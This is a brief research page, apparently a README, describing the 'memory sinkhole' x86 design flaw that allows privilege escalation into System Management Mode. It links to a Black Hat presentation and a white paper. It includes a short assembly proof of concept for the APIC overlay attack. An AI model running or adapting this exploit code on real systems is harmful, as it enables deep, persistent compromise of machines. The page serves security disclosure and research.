: An x86 design flaw allowing ring -2 privilege escalation.
The memory sinkhole is a design flaw in x86 processors that allows code to escalate privileges into ring -2 (System Management Mode).
wbinvd
mov dword [0x10014], 0xffcf9aff
mov dword [0x10010], 0x9fa2ffff
mov eax, 0x1f5ff900
mov edx, 0
mov ecx, 0x1b
wrmsr
jmp $
The proof of concept APIC overlay attack illustrates one approach for using the flaw to elevate privileges.
The technique is outlined in detail in the Black Hat presentation.
Slides from the presentation are provided here.
The exploit white paper provides a technical overview of the flaw and exploitation approach.
The Memory Sinkhole is a research effort from Christopher Domas (@xoreaxeaxeax).